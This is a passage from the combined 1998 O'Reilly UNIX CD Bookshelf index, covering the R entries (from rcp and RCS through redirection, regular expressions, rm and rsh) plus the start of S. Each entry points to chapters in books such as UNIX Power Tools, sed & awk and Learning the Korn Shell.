in set command : UNIX Power Tools, 44.19. The Bourne Shell set Command
rules for quoting character strings : Learning the Korn Shell, 6.2. Integer Variables and Arithmetic
sh and ksh shells : UNIX in a Nutshell, 4.2.3. Quoting
variables and : Learning the Korn Shell, 3.4.1. Variables and Quoting

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: R

r (alias) : Learning the Korn Shell, 2.5. The fc Command
r command (ksh, sh) : UNIX in a Nutshell, Chapter 4, Reference: r
r command (sed) : UNIX in a Nutshell, Chapter 10, Reference: r
r command (sed) : sed & awk, 5.11. Reading and Writing Files
rand() : sed & awk, 9.1.3. Random Number Generation
rand command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: rand
RANDOM variable
Learning the Korn Shell, 9.1.2.1. EXIT
UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
random number : sed & awk, 9.1.3. Random Number Generation
jot command : UNIX Power Tools, 45.11. The Multipurpose jot Command
range of characters : (see character classes)
raw mode : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
rcp command
Learning the UNIX Operating System, 4.4.2.3. rcp
UNIX Power Tools, 1.33. UNIX Networking and Communications
UNIX in a Nutshell, Chapter 2, Reference: rcp
-r option : UNIX Power Tools, 18.15. Copying Directory Trees with cp -r
RCS (Revision Control System)
UNIX Power Tools, 20.12. Protecting Files with SCCS or RCS
UNIX Power Tools, 20.14. RCS Basics
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
paging through RCS files : UNIX Power Tools, 25.5. Page Through Compressed, RCS, Unprintable Files
searching files : UNIX Power Tools, 27.10. Search RCS Files with rcsgrep
rcs command (RCS) : UNIX in a Nutshell, Chapter 18, Reference: rcs
RCS subdirectory : UNIX in a Nutshell, 18.2. Basic Operation
RCS utility : UNIX in a Nutshell, 18. The RCS Utility
keyword substitution : UNIX in a Nutshell, 18.3.1. Keyword Substitution
revision numbering : UNIX in a Nutshell, 18.3.4. Revision Numbering
SCCS commands equivalents : UNIX in a Nutshell, 18.4. Conversion Guide for SCCS Users
rcsclean command (RCS) : UNIX in a Nutshell, Chapter 18, Reference: rcsclean
rcsdiff command (RCS)
UNIX in a Nutshell, 18.2. Basic Operation
UNIX in a Nutshell, Chapter 18, Reference: rcsdiff
rcsegrep.fast script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
rcsfreeze command (RCS) : UNIX in a Nutshell, Chapter 18, Reference: rcsfreeze
rcsgrep script
UNIX Power Tools, 27.10. Search RCS Files with rcsgrep
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
RCSINIT environment variable : UNIX in a Nutshell, 18.3.7. Standard Options
rcsless script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
rcsmerge command (RCS) : UNIX in a Nutshell, Chapter 18, Reference: rcsmerge
rcsmore script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
rcspg script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
rcsrevs script
UNIX Power Tools, 20.15. List RCS Revision Numbers with rcsrevs
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
RD (Receive Data) light : UNIX Power Tools, 42.2.4. Stalled Data Connection?
--re-interval option (gawk) : sed & awk, 11.2.3.1. Command line options
read : Learning the Korn Shell, 7.2.2. read
exit status of : Learning the Korn Shell, 7.2.2.1. Reading lines from files
from files : Learning the Korn Shell, 7.2.2.2. I/O Redirection and multiple commands
options : Learning the Korn Shell, 7.2.2.5. Options to read
-p
Learning the Korn Shell, 7.2.2.5. Options to read
Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
Learning the Korn Shell, 8.5.5. Two-way Pipes Versus Standard Pipes
-r : Learning the Korn Shell, 7.2.2.5. Options to read
-s
Learning the Korn Shell, 7.2.2.5. Options to read
Learning the Korn Shell, 9.2.3.1. Commands
-u : Learning the Korn Shell, 7.2.2.5. Options to read
syntax : Learning the Korn Shell, 7.2.2. read
from user input : Learning the Korn Shell, 7.2.2.4. Reading User Input
continuing on next line : Learning the Korn Shell, 7.2.2.5. Options to read
prompting : Learning the Korn Shell, 7.2.2.4. Reading User Input
read( ) : UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
read command
UNIX Power Tools, 9.12. The Bourne Shell for Loop
UNIX Power Tools, 44.13. read: Reading from the Keyboard
(see r command (sed))
examples : UNIX Power Tools, 44.13. read: Reading from the Keyboard
while loops using
UNIX Power Tools, 45.16. Standard Input to a for Loop
UNIX Power Tools, 45.22. Handling Files Line-by-Line
read command (ex)
UNIX Power Tools, 33.4. Useful ex Commands
UNIX in a Nutshell, Chapter 9, Reference: read
read command (ksh, sh) : UNIX in a Nutshell, Chapter 4, Reference: read
read permission
Learning the UNIX Operating System, 3.1.8.1. ls
UNIX Power Tools, 22.2. Tutorial on File and Directory Permissions
UNIX Power Tools, 22.19. Shell Scripts Must be Readable and (Usually) Executable
(see also permissions)
execute permission without : UNIX Power Tools, 22.12. A Directory that People Can Access but Can't List
read-only files : UNIX Power Tools, 22.9. Protect Important Files: Make Them Unwritable
read-only mode : Learning the vi Editor, 4.2.2. Read-only Mode
read.base program : UNIX Power Tools, 48.10. Working with Names and Addresses
reading : sed & awk, 10.1. The getline Function
email messages : Learning the UNIX Operating System, 3.4.2. Reading Your Mail
files : Learning the UNIX Operating System, 3.2. Looking Inside Files
from files
sed & awk, 5.11. Reading and Writing Files
sed & awk, 10.1.1. Reading Input from Files
from pipe : sed & awk, 10.1.3. Reading Input from a Pipe
reading email messages : UNIX in a Nutshell, Chapter 2, Reference: mailx
reading in files : Learning the vi Editor, 5.4. Copying a File into Another File
README files : UNIX Power Tools, 52.8.2.6. An Easy Build
readonly
Learning the Korn Shell, 6.3.4. Type and Attribute Options
Learning the Korn Shell, 10.3.4. Privileged Mode
readonly command (ksh, sh) : UNIX in a Nutshell, Chapter 4, Reference: readonly
readsource script (example) : sed & awk, 13.6. readsource - Format Program Source Files for troff
Ready-to-Run Software
UNIX Power Tools, 52.5.5. What to Do if You Have Problems
UNIX Power Tools, 52.7.1. Alternative Media
UNIX Power Tools, 52.8.2.1. Copying the Sources
contacting : UNIX Power Tools, 52.9. Software Support from RTR
software support : UNIX Power Tools, 52.9. Software Support from RTR
technical support : UNIX Power Tools, 52.8.1.2. Problems
real memory, maximum amount of : UNIX Power Tools, 39.3. The csh time variable
real-time priorities : UNIX Power Tools, 39.9. Know When to Be "nice" to OTher Users...and When
real-time submission : UNIX Power Tools, 39.9.3. System V C Shell nice
RECLEN variable (tawk) : sed & awk, 11.3.2.1. Tawk language extensions
recomment script
UNIX Power Tools, 35.4. recomment: Clean Up Program Comment Blocks
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
recording session : UNIX in a Nutshell, Chapter 2, Reference: script
records, awk
sed & awk, 2.4.1. Running awk
sed & awk, 7.5. Records and Fields
sed & awk, B.2.1. Records and Fields
arrays and : sed & awk, 8.4. Arrays
fixed-length (tawk) : sed & awk, 11.3.2.1. Tawk language extensions
multiline : sed & awk, 7.7.1. Working with Multiline Records
NF variable : sed & awk, 7.7. System Variables
NR variable
sed & awk, 7.7. System Variables
sed & awk, 8.4. Arrays
sed & awk, 10.1.2. Assigning the Input to a Variable
RT variable (gawk) : sed & awk, 11.2.3.5. Regular expression record terminators
separators for : (see delimiters)
recover command (ex) : UNIX in a Nutshell, Chapter 9, Reference: recover
recovering
buffers after a system crash : Learning the vi Editor, 4.2.3. Recovering a Buffer
deletions : Learning the vi Editor, 4.3. Making Use of Buffers
from numbered buffers
Learning the vi Editor, 2.3.5.4. Problems with Deletions
Learning the vi Editor, 4.3.1. Recovering Deletions
with u : Learning the vi Editor, 2.3.5.4. Problems with Deletions
recovering files : UNIX Power Tools, 30.24. vi/ex File Recovery vs. Networked Filesystems
recursive aliases : UNIX Power Tools, 10.6. Avoiding C Shell Alias Loops
red command
UNIX in a Nutshell, Chapter 2, Reference: red
(see also ed command)
redirection
Learning the Korn Shell, 1.7.2. I/O Redirection
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 7.1.2. File Descriptors
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.4. pdksh
Learning the UNIX Operating System, 5.1. Standard Input and Standard Output
UNIX Power Tools, 1.30. Redirecting Input and Output
UNIX Power Tools, 13.1. Using Standard Input and Output
UNIX Power Tools, 13.5. Redirection in C Shell: Capture Errors, Too?
UNIX Power Tools, 13.11. tpipe-Redirecting stdout to More than One Place
UNIX Power Tools, 45.20. Overview: Open Files and File Descriptors
UNIX Power Tools, 45.21. n>&m: Swap Standard Output and Standard Error
UNIX Power Tools, 46.1.1. Use -xv
UNIX Power Tools, 47.2.1.1. Writing Files
UNIX Power Tools, 47.2.1.2. Reading Files
sed & awk, 2.3.2.1. Saving output
sed & awk, 4.3. Testing and Saving Output
sed & awk, 10.5. Directing Output to Files and Pipes
sed & awk, 10.5.1. Directing Output to a Pipe
>
Learning the Korn Shell, 1.7.2. I/O Redirection
Learning the Korn Shell, 7.1. I/O Redirectors
>&-
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 7.1.2. File Descriptors
>&p : Learning the Korn Shell, 7.1. I/O Redirectors
>>
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 7.1.1. Here-documents
>| : Learning the Korn Shell, 7.1. I/O Redirectors
<
Learning the Korn Shell, 1.7.2. I/O Redirection
Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
Learning the Korn Shell, 7.1. I/O Redirectors
<&-
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 7.1.2. File Descriptors
<&p : Learning the Korn Shell, 7.1. I/O Redirectors
<>
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 7.1.2. File Descriptors
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.4. pdksh
<< : (see here-documents)
| : Learning the Korn Shell, 7.1. I/O Redirectors
|& : Learning the Korn Shell, 7.1. I/O Redirectors
to code blocks : Learning the Korn Shell, 7.2.2.3. Code blocks
csh and
UNIX Power Tools, 13.5. Redirection in C Shell: Capture Errors, Too?
UNIX in a Nutshell, 5.2.5. Redirection Forms
with exec : Learning the Korn Shell, 9.2.1.2. exec
file descriptors
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 7.1.2. File Descriptors
Learning the Korn Shell, 7.2.2.4. Reading User Input
Learning the Korn Shell, 7.2.2.5. Options to read
UNIX Power Tools, 45.21. n>&m: Swap Standard Output and Standard Error
to functions : Learning the Korn Shell, 7.2.2.2. I/O Redirection and multiple commands
limitations in restricted shell : Learning the Korn Shell, 10.3.1. Restricted Shell
loops
UNIX Power Tools, 45.22. Handling Files Line-by-Line
UNIX Power Tools, 45.23. The Ins and Outs of Redirected I/O Loops
to multiline flow-control constructs : Learning the Korn Shell, 7.2.2.2. I/O Redirection and multiple commands
noclobber variable
Learning the Korn Shell, 3.3. Options
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 10.2.3. Types of Global Customization
Learning the UNIX Operating System, 5.1.1.1. The > operator
UNIX Power Tools, 6.8. Shell Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 13.6. Safe I/O Redirection with noclobber
UNIX Power Tools, 23.7. Safer File Deletion in Some Directories
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
order in command-line processing : Learning the Korn Shell, 7.3. Command-line Processing
sh and ksh forms for : UNIX in a Nutshell, 4.2.5. Redirection Forms
standard error : (see standard error)
standard input
UNIX Power Tools, 1.30. Redirecting Input and Output
UNIX Power Tools, 13.1. Using Standard Input and Output
UNIX Power Tools, 45.20. Overview: Open Files and File Descriptors
UNIX Power Tools, 47.2.1.2. Reading Files
(see also standard input)
standard output
UNIX Power Tools, 1.30. Redirecting Input and Output
UNIX Power Tools, 13.1. Using Standard Input and Output
UNIX Power Tools, 45.20. Overview: Open Files and File Descriptors
UNIX Power Tools, 45.21. n>&m: Swap Standard Output and Standard Error
(see also standard output)
tee program : UNIX Power Tools, 13.9. Send Output Two or More Places with tee
tpipe command for : UNIX Power Tools, 13.11. tpipe-Redirecting stdout to More than One Place
while loops : UNIX Power Tools, 45.22. Handling Files Line-by-Line
redo script
UNIX Power Tools, 11.14.1. In the C Shell: redo
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
redraw screen command : UNIX Power Tools, 42.5. Checklist: Screen Size Messed Up?
redrawing the screen : Learning the vi Editor, 3.1.3. Redrawing the Screen
references : sed & awk, Other Sources of Information About sed and awk
referencing arrays : UNIX in a Nutshell, 4.3.4. Arrays
referencing fields
sed & awk, 2.4.1. Running awk
sed & awk, 7.5.1. Referencing and Separating Fields
regcmp command : UNIX in a Nutshell, Chapter 2, Reference: regcmp
regions, emacs commands for : UNIX in a Nutshell, 7.2.4. Paragraphs and Regions
regular expressions
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 4.3.2. Patterns and Regular Expressions
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.4. pdksh
UNIX Power Tools, 21.14. Automatically Appending the Date to a Filename
UNIX Power Tools, 26.1. That's an Expression
UNIX Power Tools, 26.3. Understanding Expressions
sed & awk, 1.4. Four Hurdles to Mastering sed and awk
sed & awk, 3. Understanding Regular Expression Syntax
sed & awk, B.2.3. Patterns
sed & awk, B.2.4. Regular Expressions
(see also pattern matching)
(see also
! operator
Learning the Korn Shell, 4.3.2.1. Regular expression basics
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
* operator
Learning the Korn Shell, 4.3.2.1. Regular expression basics
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
+ operator
Learning the Korn Shell, 4.3.2.1. Regular expression basics
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
Learning the Korn Shell, 6.1.1. shift
? operator
Learning the Korn Shell, 4.3.2.1. Regular expression basics
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
@ operator
Learning the Korn Shell, 4.3.2.1. Regular expression basics
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
compared to awk and egrep : Learning the Korn Shell, 4.3.2.1. Regular expression basics
compiling : UNIX in a Nutshell, Chapter 2, Reference: regcmp
as constants : sed & awk, 7.8. Relational and Boolean Operators
delimiters for
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 5.3. Substitution
dynamic, faking : sed & awk, 11.1.5. Faking Dynamic Regular Expressions
ed and : sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
examples of : sed & awk, 3.3. I Never Metacharacter I Didn't Like
extended : UNIX Power Tools, 26.4.11. Extended Regular Expressions
gawk extensions to : sed & awk, 11.2.3.4. Extended regular expressions
in replacement strings : Learning the vi Editor, 6.3.2. Metacharacters Used in Replacement Strings
in search patterns : Learning the vi Editor, 6.3.1. Metacharacters Used in Search Patterns
lexical analysis program : UNIX in a Nutshell, Chapter 2, Reference: lex
metacharacters
for different UNIX programs : UNIX Power Tools, 26.9. Valid Metacharacters for Different UNIX Programs
examples of : UNIX Power Tools, 26.8. I Never Meta Character I Didn't Like
metacharacters for : (see netacharacters)
metacharacters in
UNIX Power Tools, 8.19. "Special" Characters and Operators
UNIX Power Tools, 26.4. Using Metacharacters in Regular Expressions
UNIX Power Tools, 26.10. Pattern Matching Quick Reference with Examples
operator examples : Learning the Korn Shell, 4.3.2.1. Regular expression basics
order of evaluation in command-line processing : Learning the Korn Shell, 7.3. Command-line Processing
pattern context : UNIX Power Tools, 26.5. Getting Regular Expressions Right
pattern matching quick reference : UNIX Power Tools, 26.10. Pattern Matching Quick Reference with Examples
POSIX standard for : sed & awk, 3.2.4.3. POSIX character class additions
relationship to wildcards : Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
RS variable as
sed & awk, 11.2.1.6. Regular expression record separators (gawk and mawk)
sed & awk, 11.3.2.1. Tawk language extensions
searching files for
UNIX in a Nutshell, Chapter 2, Reference: egrep
UNIX in a Nutshell, Chapter 2, Reference: fgrep
UNIX in a Nutshell, Chapter 2, Reference: grep
for sed command addresses : UNIX in a Nutshell, 10.3.1. Pattern Addressing
syntax : Learning the Korn Shell, 4.3.2.1. Regular expression basics
tawk and : sed & awk, 11.3.2.1. Tawk language extensions
testing : UNIX Power Tools, 26.6. Just What Does a Regular Expression Match?
union of
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.9. Alternative Operations
wildcards versus : UNIX Power Tools, 26.2. Don't Confuse Regular Expressions with Wildcards
writing : sed & awk, 3.2.3. Writing Regular Expressions
rehash command : UNIX Power Tools, 4.2. A bin Directory for Your Programs and Scripts
examples : UNIX Power Tools, 44.2. Writing a Simple Shell Program
rehash command (csh) : UNIX in a Nutshell, Chapter 5, Reference: rehash
relational expressions : sed & awk, B.2.3. Patterns
relational operators
sed & awk, 7.8. Relational and Boolean Operators
(see operators, relational))
relative pathnames
Learning the Korn Shell, 1.6.1.1. The working directory
Learning the UNIX Operating System, 3.1.5. Relative Pathnames
UNIX Power Tools, 1.21. Making Pathnames
UNIX Power Tools, 2.6. Use Absolute Pathnames in Shell Setup Files
UNIX Power Tools, 14.2. Using Relative and Absolute Pathnames
UNIX Power Tools, 14.3. What Good Is a Current Directory?
UNIX Power Tools, 18.6. Stale Symbolic Links
in angle brackets : UNIX Power Tools, 52.8.2.7. Functions, Libraries, and Header Files
relink script
UNIX Power Tools, 18.14. Relinking Multiple Symbolic Links
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
relogin command : UNIX in a Nutshell, Chapter 2, Reference: relogin
reminder mail, sending : UNIX Power Tools, 40.11. Send Yourself Reminder Mail
remote
directories : UNIX Power Tools, 5.6. Checklist: Terminal Hangs When I Log In
echo : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
restoration from backups : UNIX Power Tools, 20.4.2. Remote Restoring
tape drives
UNIX Power Tools, 20.5. Using tar to a Remote Tape Drive
UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
remote communications (calling out) : UNIX in a Nutshell, Chapter 2, Reference: cu
remote files : Learning the UNIX Operating System, 4.4.6. Files on Other Operating Systems
copying : Learning the UNIX Operating System, 4.4.2.3. rcp
remote host, connecting to : UNIX in a Nutshell, Chapter 2, Reference: rlogin
remote logins : Learning the UNIX Operating System, 1.1.3. Remote Logins
remote shell, connecting to
UNIX in a Nutshell, Chapter 2, Reference: rsh
UNIX in a Nutshell, Chapter 2, Reference: rsh
remote systems
copying files between : UNIX in a Nutshell, Chapter 2, Reference: uucp
remote systems, copying files between : UNIX in a Nutshell, Chapter 2, Reference: rcp
removing : (see deleting)
command-line arguments : UNIX Power Tools, 44.15.2. With a Loop
open files : UNIX Power Tools, 45.10. Removing a File Once It's Opened - for Security and Easy Cleanup
self-removing scripts
UNIX Power Tools, 45.4. Fun with #!
UNIX Power Tools, 45.10. Removing a File Once It's Opened - for Security and Easy Cleanup
removing : (see deleting)
removing files : (see deleting files)
remsh command : (see rsh command)
ren command : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
ren script : UNIX Power Tools, 18.11. Renaming Files with ren
rename script
UNIX Power Tools, 18.10. There's More than One Way to Do It
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
renaming
directories and files : UNIX in a Nutshell, Chapter 2, Reference: mv
renaming buffers : Learning the vi Editor, 5.3.1. Renaming the Buffer
renaming files
UNIX Power Tools, 18.2. What's Really in a Directory
UNIX Power Tools, 18.9. Renaming, Copying, or Comparing a Set of Files
(see also copying files; moving files)
interactively : UNIX Power Tools, 18.12. Renaming a List of Files Interactively
renice command
UNIX Power Tools, 12.5. System Overloaded? Try Stopping Some Jobs
UNIX Power Tools, 39.9. Know When to Be "nice" to OTher Users...and When
UNIX Power Tools, 39.11. Changing a Job's Priority Under BSD UNIX
rep command vs. vis command : UNIX Power Tools, 51.7. When You Get Impatient
repeat command : UNIX Power Tools, 9.25. The C Shell repeat Command
repeat command (csh) : UNIX in a Nutshell, Chapter 5, Reference: repeat
repeating commands : UNIX Power Tools, 11.8. Repeating a Cycle of Commands
repeating last vi command (.)
Learning the vi Editor, 2.3.8. Repeating or Undoing Your Last Command
Learning the vi Editor, 2.3.8.1. Repeat
replace
character (r) : Learning the vi Editor, 2.3.3.3. Characters other
global : (see global replacement)
overstriking characters (R) : Learning the vi Editor, 2.4. More Ways to Insert Text
text : (see global replacement)
replacement metacharacters : sed & awk, 5.3.1. Replacement Metacharacters
numbered saves : sed & awk, 5.3.1. Replacement Metacharacters
replacing files in archives : UNIX in a Nutshell, Chapter 2, Reference: ar
replacing text
sed & awk, 1.2. A Stream Editor
sed & awk, 3.2.12.1. The extent of the match
replacing text, metacharacters for : UNIX in a Nutshell, 6.4.1. Examples of Searching and Replacing
replay command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: replay
REPLY variable : UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
in read statement : Learning the Korn Shell, 7.2.2. read
in select statement
Learning the Korn Shell, 5.4. select
Learning the Korn Shell, 6.3. Arrays
report, summarizing execution statistics : UNIX Power Tools, 38.5. The ps Command
reports
on active processes : UNIX in a Nutshell, Chapter 2, Reference: ps
on system status : UNIX in a Nutshell, Chapter 2, Reference: uustat
requests, nroff/troff : UNIX in a Nutshell, 12.4. Default Operation of Requests
rerun command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: rerun
reset command
UNIX Power Tools, 5.11. Initializing the Terminal with tset
UNIX in a Nutshell, Chapter 2, Reference: reset
(see also tset command)
resetting terminals : UNIX Power Tools, 42.4. Checklist for Resetting a Messed Up Terminal
resident text pages, average kilobytes of : UNIX Power Tools, 39.3. The csh time variable
resize (xterm) command : UNIX Power Tools, 42.5. Checklist: Screen Size Messed Up?
resizing windows : Learning the UNIX Operating System, 2.5.3. Resizing Windows
resources
contention issues : UNIX Power Tools, 39.12. What Makes Your Computer Slow? How Do You Fix It?
overloaded : UNIX Power Tools, 12.5. System Overloaded? Try Stopping Some Jobs
resources for further reading : Learning the UNIX Operating System, A.1. General UNIX Books
UNIX documentation : Learning the UNIX Operating System, 7.1. Standard UNIX Documentation
restart command (lpc) : UNIX Power Tools, 43.3. Printer Control with lpc
restarting at jobs automatically : UNIX Power Tools, 40.8. Automatically Restarting at Jobs
restore command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: restore
Restore menu item (mwm) : Learning the UNIX Operating System, 2.5.4. The Window Menu
restricted shell : Learning the Korn Shell, 10.3.1. Restricted Shell
installing as a user's login shell : Learning the Korn Shell, 10.3.1. Restricted Shell
restrictions : Learning the Korn Shell, 10.3.1. Restricted Shell
role of .profile in : Learning the Korn Shell, 10.3.1. Restricted Shell
restricted shells : UNIX in a Nutshell, 4.9. Restricted Shells
retrieving data from files : sed & awk, 7.11. Information Retrieval
return : Learning the Korn Shell, 5.1.1.1. Return
RETURN characters : (see newline characters)
return command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: return
return command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: return
return command (ksh, sh) : UNIX in a Nutshell, Chapter 4, Reference: return
RETURN key, not needed with commands : UNIX Power Tools, 45.32. A Better read Command: grabchars
return statement
sed & awk, 9.3. Writing Your Own Functions
sed & awk, 9.3.1. Writing a Sort Function
reverse linefeeds, displaying : UNIX in a Nutshell, Chapter 2, Reference: col
Reverse Polish Notation (RPN)
Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
Learning the Korn Shell, 8.6.2. Nested Subshells
revision control
RCS utility : UNIX in a Nutshell, 18. The RCS Utility
SCCS utility
UNIX in a Nutshell, 17. The SCCS Utility
UNIX in a Nutshell, 18.4. Conversion Guide for SCCS Users
revision control programs
file versions and : UNIX Power Tools, 1.15. Filenames
Revision Control System : (see RCS)
revision control systems : sed & awk, 10.7.1. Make a Copy
revision marks : (see execute permissions)
revision numbers (RCS) : UNIX in a Nutshell, 18.3.4. Revision Numbering
rewind command (ex) : UNIX in a Nutshell, Chapter 9, Reference: rewind
.rhosts file : UNIX Power Tools, 20.5. Using tar to a Remote Tape Drive
right angle bracket : (see >)
rksh : (see security, restricted shell)
rksh command : UNIX in a Nutshell, Chapter 2, Reference: rksh
rksh command (ksh, sh) : UNIX in a Nutshell, 4.9. Restricted Shells
rlog command (RCS) : UNIX in a Nutshell, Chapter 18, Reference: rlog
rlogin command : UNIX in a Nutshell, Chapter 2, Reference: rlogin
rlogin utility
UNIX Power Tools, 1.33. UNIX Networking and Communications
UNIX Power Tools, 2.4. Tip for Changing Account Setup: Keep a Shell Ready
UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
stalled connection with : UNIX Power Tools, 42.2.4. Stalled Data Connection?
rm : Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
rm command
Learning the UNIX Operating System, 4.4.5.1. rm
UNIX Power Tools, 23.2. rm and Its Dangers
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: rm
-b option : UNIX Power Tools, 21.11. Safer Removing, Moving, and Copying
-f option
UNIX Power Tools, 23.10. Deletion with Prejudice: rm -f
UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
-i option
UNIX Power Tools, 21.11. Safer Removing, Moving, and Copying
UNIX Power Tools, 23.4. Answer "Yes" or "No" Forever with yes
UNIX Power Tools, 23.5. Remove Some, Leave Some
UNIX Power Tools, 23.7. Safer File Deletion in Some Directories
rmdel command (SCCS) : UNIX in a Nutshell, Chapter 17, Reference: rmdel
rmdir command
Learning the UNIX Operating System, 4.4.5.2. rmdir
UNIX Power Tools, 23.17. Problems Deleting Directories
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: rmdir
(see also mkdir command)
root directory
Learning the Korn Shell, 1.6.1. Directories
Learning the UNIX Operating System, 3.1.3. The Directory Tree
UNIX Power Tools, 1.19. The Tree Structure of the Filesystem
UNIX Power Tools, 1.21. Making Pathnames
installation process and : UNIX Power Tools, 52.8.2.6. An Easy Build
root menu : Learning the UNIX Operating System, 2.3.3. The Root Menu
root user
password for
UNIX Power Tools, 1.23. File Access Permissions
UNIX Power Tools, 1.24. The Superuser (Root)
su command and : (see su command)
root window : Learning the UNIX Operating System, 2.3.3. The Root Menu
rot program
UNIX Power Tools, 35.23. Rotating Text
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
rotating text : UNIX Power Tools, 30.22.2. Filtering Text with vi
rprnt character : UNIX Power Tools, 9.3. Reprinting Your Command Line with CTRL-r
rprnt key : UNIX Power Tools, 5.9. Setting Your Erase, Kill, and Interrupt Characters
RS variable : sed & awk, 7.7. System Variables
regular expression for
sed & awk, 11.2.1.6. Regular expression record separators (gawk and mawk)
sed & awk, 11.3.2.1. Tawk language extensions
rsh command
UNIX in a Nutshell, Chapter 2, Reference: rsh
UNIX in a Nutshell, Chapter 2, Reference: rsh
(see also sh command)
rsh command (ksh, sh) : UNIX in a Nutshell, 4.9. Restricted Shells
rsh utility
UNIX Power Tools, 1.33. UNIX Networking and Communications
UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
restoring from remote tape drives : UNIX Power Tools, 20.5. Using tar to a Remote Tape Drive
RT variable (gawk) : sed & awk, 11.2.3.5. Regular expression record terminators
rtrpatch.pcal file : UNIX Power Tools, 52.8.2.5. Applying Patches
RTS (Request to Send) : UNIX Power Tools, 41.2.4. Flow Control (We Hope)
RTS/CTS flow control
UNIX Power Tools, 41.2.4. Flow Control (We Hope)
UNIX in a Nutshell, Chapter 2, Reference: stty
RUBOUT key : Learning the UNIX Operating System, 1.1.7. Correcting a Mistake
rules, pattern-matching : (see pattern matching)
run command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: run
running processes, core images for : UNIX in a Nutshell, Chapter 2, Reference: gcore
runsed script
UNIX Power Tools, 4.3. Organizing Nonexecutable Scripts
UNIX Power Tools, 34.3.2. runsed
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
runtime script
UNIX Power Tools, 39.4. Average Command Runtimes with runtime
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
ruptime command : UNIX in a Nutshell, Chapter 2, Reference: ruptime
rwho command
UNIX in a Nutshell, Chapter 2, Reference: rwho
(see also who command)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: S

s command (ed) : sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
s command (sed)
sed & awk, 5.3. Substitution
UNIX in a Nutshell, Chapter 10, Reference: s
script.tidy using : UNIX Power Tools, 51.6. Cleaning script Files
.s filename extension : UNIX Power Tools, 1.17. Filename Extensions
